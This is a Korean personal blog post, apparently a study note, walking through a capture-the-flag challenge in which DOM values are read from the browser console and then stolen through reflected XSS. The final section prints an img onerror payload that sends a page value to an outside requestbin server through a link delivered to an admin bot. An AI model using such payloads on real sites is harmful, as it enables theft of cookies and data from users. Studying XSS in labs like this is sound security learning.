ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • DOM 접근 및 조작을 이용하여 XSS 공격
    IT/웹 해킹 2024. 1. 16. 12:01

    [이 블로그는 해킹 공부하면서 가볍게 정리용으로 기록 및 내 생각을 끄적여 두기 위한 블로그(라 쓰고 일기라 읽는)이다.]

     

    • 목차
    1. 브라우저 콘솔 페이지 및 JS를 이용하여 객체접근
    2. URL에 Eventhandler로 원하는 객체 정보 띄우기
    3. XSS 공격

     

    1. 브라우저 콘솔 페이지 및 JS를 이용하여 객체접근

    브라우저에서 html 문서의 코드를 보려면 페이지 소스보기 말고도 윈도우의 경우 f12 맥 같은 경우는 option+command+i 버튼을 눌러주면 된다.

    그러면 페이지의 코드들을 편하게 볼 수 있는 개발자 페이지가 뜨게 되며 바로 옆의 탭에 콘솔 페이지가 있다. 

     

    CTF문제를 이용하여 설명을 진행해 보겠다. 취약점이 있는 위치는 문제에서 공개가 되었고 flag탈취가 목적이다.

     

    문제

     

    console 페이지에서 docoument라는 명령어를 입력하면 페이지 소스가 뜸

     

    페이지 소스에서 코드를 찍어보면 그 코드가 페이지에서 어느 부분인지 스크린샷과 같이 웹 페이지에서 표시된다.

     

    getElement 함수를 통해서 document의 여러 부분들을 가져올 수 있는데 id, class, name, tagname 등등 정보를 가져올 수 있다. 여기서 id는 고유한 정보이므로 getElement로 쓰이고 나머지는 getElements 로 복수형으로 붙는점을 알고 넘어가야 한다.

    여기서 Flag Here..! 이 있는 곳의 정보에는 name의 info를 사용하여 가져오면 될 것 같고 name info의 값이 하나 더 있는 것으로 보여 인덱스 값을 [0]으로 지정해 주고 placeholder위치까지 지정해 주면 된다. 

    • document.getElementsByName('info')[0].placeholder

     

     

     

    그럼 콘솔창에 Flag Here..! 이 뜨는 것을 볼 수 있다.

     

    2. URL에 Eventhandler로 원하는 객체 정보 띄우기

    그러면 이제 취약점이 있는 마이페이지 URL창에 img태그를 이용하여 alert 경고창을 띄워보겠다. 

     

     

     

    보이는 바와 같이 스크립트문이 실행되는 것을 볼 수 있다. 그럼 Reflected XSS 공격을 할 수 있다는 조건이 완성되었다.

    여기서 이제 먼저 URL창에 Eventhandler를 이용하여 스크립트문을 써서 콘솔창에 Flag Here..!이 띄워지는 것을 먼저 해보겠다.

    • <img src = x onerrer = console(document.getElementsByName('info')[0].placeholder>

     

     

     

    404(Not Found) 에러와 함께 Flag Here..! 이 뜬 것을 볼 수 있다. 

     

    3. XSS 공격

    그럼 이제 지난 게시물에서 XSS로 쿠키값을 가져왔던 것처럼 똑같이 리퀘스트빈을 이용하여 URL에 코드를 작성하여 공격을 시도해보겠다.

     

    <img src=x onerror = "var data = document.getElementsByName('info')[0].placeholder;

    var i = new Image();

    i.src = 'https://eny83a0w939b9.x.pipedream.net/?cookie='%2bdata;"

     

    를 URL에 붙여 넣어주고 복사하여 관리자 봇에게 링크를 전달한다.

     

     

     

     

    플래그 값이 원하는 공격자의 서버에 들어와 지는 모습을 볼 수 있다.

     

    이 해킹 기법을 쓰려면 자바스크립트를 잘 다뤄야 되는 것이 필요해 보이고 이벤트핸들러에 관해서도 공부해 볼 필요성을 느끼게 되었다.

    onerror 말고도 onclick onload onfuchs autufocus 등등 더 사용해 봐서 숙달을 해봐야겠다.

     

    끝!

Designed by Tistory.